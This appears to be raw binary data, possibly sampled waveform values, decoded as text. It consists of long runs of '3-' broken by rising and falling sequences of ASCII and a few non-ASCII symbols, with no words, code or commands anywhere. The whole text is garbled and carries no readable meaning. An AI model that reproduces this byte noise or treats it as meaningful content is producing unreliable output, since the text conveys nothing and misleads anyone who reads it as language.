3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2-3,3+3,3,3,3,3,2,3-3-3-3-4.4.40516283:5;6=7?9A:C=C>E?H@IBKCLEMFNHPHQKSMUNWPYRYR[T]V_WaYc[d\e]g_haibldneogphritkwnxoyqzr|t~uwz|}~´öŸƹȻɽ˿˿ʽɻǹŷô²{~y{wyuvsspqmpjmhkfjehcfae_b\_Z\XZVWTWQTORMOKLIKGIEFBC@@=>;;8:6846220..-,**((&&$#"       "$!&#(%*(.*/-2/417396:8<:?=B?EBHCJELHOIPLSNVQXSYU[W^Y`\d^f`gbidkfnipjsmuovqys|u~y}~µĶŸǹȻʽ˾̿˿ʾɽȻƹķö~}|yy~w|u{szrxpunumskqjoingmejchag`f^d]d\aZ_X^V]UZSYRXQVOTMRLPJOINHMGKDICHAG?D>C=B;A9?7>5=4;2806/6/4.4.3-3.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,5,5,3-3-3-3-3-3-3-3,3,3,3,3-3-3-3-3-3-3-3-3-3-2.3/3/40515172:3;5=8=9A:B<D=F?H@IBICLDMGNHPJRLSMTNVPXQZS\T^W_X`YbZd\e^g_h`ickcmdogrisktlunwpyqzr}uwxyz|}õöŸƺȼʾͿ̽ʻȹƷŷ·}{~y{vxtuormpkojmhkfhdf`e^b\_Z\Y\VXTVRTPRNPLLIKGIDFBD?@=?;=9;77543310/.-++)('&%#"    "$"&%)'+)-,/.2/427597;9<;>=A?ECGEJGLINKPMSOUQWT[V\X^Za]c^fahdjflhnjqlsnvoxrzu|w~y{~¶ŸƺǼɽʾ˿ʽȻƹĸö}{yxvu|tzrxownumslrjqhnfmekcjah`f^d]c[aYaX`W]U\SZRXOVNULTKRJOINGLEKDJCHAG@E>C<A:@9?8>7<4;1:09/8/6.5-4,3-3-3-3-2.2.2.4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,5,5,5,5,5,4-3-3-3-3-3-3-3,3,3,3,3-3-3-4.3-3-3-3-3-3-3.3.2.2.2.3-4.5/7092:4<5>7@8B:D<E=E=G?IAKBLDNGOGPIQKSMUNXOZQ[R\S^U`WaXcZe\e^g_i`kbncofpgqiskulwmxpzr|s}t~uwy{|~¶ĸƹȻɽʿͿ˾ɽŻù~|{z{uxsvqtormpjmikfidgad_b^a\^Y[WXUVSUQROPLMJKHIDFCD@B?@<=::887644210.-,**('%%##!    !#!%#)%*(,+.-0/215385:8<:>=@?CAECFEIGMJQLSOTPVSXU[W^Za[c^d`gbidkgmiokqmtowqys}vy{}´öķƺȼɽʾȼȺƸö´}|yxu}u|s{qyowmslrkqiphofldkbjah`f^e]c[bY`W^U]S[SYRXNVMTLSJQIOGNFMDKCIAF@E?D=C<A:?8>7<5:49281707.7.8-6-5,5,4,3-3-3-3-2.2.2.4.4-3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4-3-3-3-3-4,4-3-3-3-3-3-3-3-3-3-3-2-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,6+7+6+5+5,5,5,5,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-1,0-0-2,2-2-2-2,3-4.6/7081:2<4>6?7A9B:D<F=H?IAJBLCMDNFPHRISKUMXNYPZR]R^U_WaXbYcZd\h_h`jakcmfpgphskumwnwoxp{r}tuwxy|}÷ĹǻȼɽʿȿƼźĹ÷|~y|wzuwrtpqnplmjkgjfidfac_`]^Z\ZYVWUURSOQMOKLIJGHDFBC?@==;;9:674522/.-,*)((&&$#"      #!%$'&*(-*/-1/325476:8<;?=A@DBFDIFKHMJOLRNTPXSYUZW]Y`\c^eahbidkgmiokqnspuqxt{v~y}õƸǺȼɾʿɾǽƺĸö´~|zyw~u|tzqxpwovmuksiqgpfnelcjah`g]d\c[bYaX_W]U[SYRXPVOTMSKRJPHMFLDJBIAH@E>C<A;?:?9=7;5:48271606/5.5-4-4,6,4,4,4,4,3-3-3-3-2.2.2-3-3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1.1.6,:*8*4,2.3.6,;(6*/-0-3,4-3-1-4,7,4,1-//5.9)5+2/3.3-2-1/1/1.2,5*3,2.2.3-3-2.1/2.4-6+3,0/1.6+6-5.7*5)3-2-3,//.03-4,6+6,7,7+5,3-5,7*6,3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4,6+4,4,4,4,4,4,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1-2,2,2,2,2,2,3-3-4-4-5.6/6091:2<4=5>7@9B;C<D>F?G@IBKCMENGPIRJSLUNXOYR[S\U^V_W`Yc[d\e^f`hajbkengphqjrkulwnypzq|s~tuxz{}~¶÷ĹŻȼʿ˾ʾɼǺƹø¶~|z}w{uwruprnolnklijfhddac_a]_[\YZVXTVRTPRMOKMIKFHDEAC@?==;<9:774422/.--+,))'%%"# !      "!$#'%)(,*/,2.316486:8;:><A?CBFDIGKHOKQMTOVQWSYU\W^Z`\c^f`hcjelgnipkrntpvsyu{w}y{·ŸǺȽʿɿȽǼꏷ~|{yx~v}u{syqwpulskrjphogoenblaj`h^f\c[bY`X^V]U\TZRWQUOTNRMPJOIMGKFJDHBFAE?C=B<?:<8;7:68371604/3.3.3-3-3-3-3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-////:*?':(4,/0107,A&8*+/--4+5+3.1.5,9*6+0.+04.='6+.02.4-1.0/102/3,7(3*00002/2,0,/.0.3+6*5+-10.8)5,30<);(2.1-2,-1*32-6*7*9,:,8)6*4,8*;(7,3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,4-5.60717294;6;7=9>:?<A=D?G@IBJDKEMGOIRJTMUOWPYR[S\U^W_X`Zb[d\e^gahajclemgphrjslulxnzozq|svwxz|~øƻȼɾ˿ɾǼƺ·|zy|uxsurropnnllijghdfbe_c]`[^Y\WZUWRUOSMPKMIIGGEECC@A>?<<99673413/1..+*)'(%%#"!     ! $"&&)(,*/-1.416386;9<;>=@?CAFDHFKHNKQMTPUQWSZV\X^Z_\c_eahcjelhojqltnvpwryu{w}z|~¸źɼ˾̿ɽǼƺĹ·}|zx~v|u{szrxpvntmskpiognemdkck`j_g]e\dZbX_W_U\TZRYQXPVOSMPKOINHLFJDICGAF?D>B=@;>9=8:5737262504/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-1-1-8*:)5+0/,2-01+8+4/)1,,5*3*2-2.5+6)3*/-000,6,1.,05.6+2+3,6-6,5+7*5,0/./2/4-4+7-40/.2-4,2*3*4,-2,3=,?)1)1,4.0,.,4-7,7+6,4-2+3*8*9*6+4,2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4/51627395:6<8=9A;C=E?F@HAICKEMGOIPJRLSMUNWQZQ[S]V^V_WaYc[d\f_haibkdlfogqisjukvlwnyp{r|s~uxz{}~·ĸƺǼɽ˿˿ɽǻŹ÷{~y{wytursppnnkmikfidgae_c]`[^Z[WZUXRTOQMNKLIIGGEECB@@?=<;896755320..,,*)'&%$#"!      !"$#%%((*+.-0/325386:8<:>>@@BAEDGFJHMKONRPURWTYV[X^Z_]a_cbgdiflhnjpmsouqytzu}wz~¸ĹƺǼʿ̿ʼȻƺŸ¶}{zxwu|tzryqwovmslriqhnfmdkbj`i_g^g\d[bYaX`V]T[SZQWOUMTLSLQIOHLFKDICGAF@D>B<A:?9=7;5:48260404.3.3-3-2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5+7*5+2./1-3,/.,0.-0*0.-4+3+2+4,4,4,3-1-3.0,.-../.4,3)3,7,;,9+5)5+6-5.3-2,2,5*9*4--0./4.9)8,20)4(26+<)3*1-1-9* =* 7.4-3*2.12-.1+8+5-0.1.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.3/4062737384;7?9A;B=C=F?GAHBKDLFMGNHPJRLUMXNYPZQZR]U_V`XbZd\e^g_h`jbmdoepgqhtivlwmxn{p|s~uwyyz|~µķƸǺɽ˾˿ɽȼƺĸ¶~|z|xxuurspqnolmikfidgbd`b^_\]Z[WXTURRPPNNLLJIHFEDCB@@==;;998753201..,+*)'&%$#"!    "!$$&&(')*,,//325487:9<;>=A@CCEEHGJHLKOMRPTRWTYW\Y^[a]c`ebgehfkinkpmsouqyu{w}xz|÷ĸźǼɽʾ˿ɽǺŸĶõ}{yw~u~t}r|qyovntlrjripgnelciag_f]e\dZbYbX`W]U\T[RYPUNTLQJPIOGMGKDKCH@G@D>B=A;@9>7;5:381704/4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-8+;*9*7+4-21230.2,4,2,4/5231/.509/4-,,.-4.3';/7-9*;+0--1,,1*5+5.4/2+4(;)>,7+0*0.51503.1,1+5+3,/,/,4/5-6-51./019*;&0,103103,11-2.-2-10/4.5.4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3.4/4/40407294;6<8>9A;B=C>F@GAICIDLENHPGSJTKULVMWPZQ[T^V`XaYc[d\f^h_j`lbmdpfqhsjukwmxozq|r}tuvyz|}´öĸǺʼ̿˾ɼƺŹĸ¶}{x|wyvvstqsnolmjkhheecc``^^[\YYWVVUSSQQNOLLJIHFEDBB@@>=<;:7755321//-,+)*''$%##!     "!$$&'))++,-//115487:9=<?>B@DBFEHHKIMLNNQPTSWUYX[Z_]a^d`fcheigljnkpnspusxu{wz|~øŹƺȼʾ˿ɾȽƺĸµ~|{xv~u|r{pzoynwlsjqhpgmfmdkbhaf^d\cZaY`W^U]T[TZSXQVOUNSKPINGLEKCIBHAG?D=C<A:?9>7=6<49270606.4.3-3-3-3-3-4-4.4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5,7+8,9,7,4/21..1,8+9)8*5./1(4$4(2,3.5333/7/4,1*8);+10.2405000%3 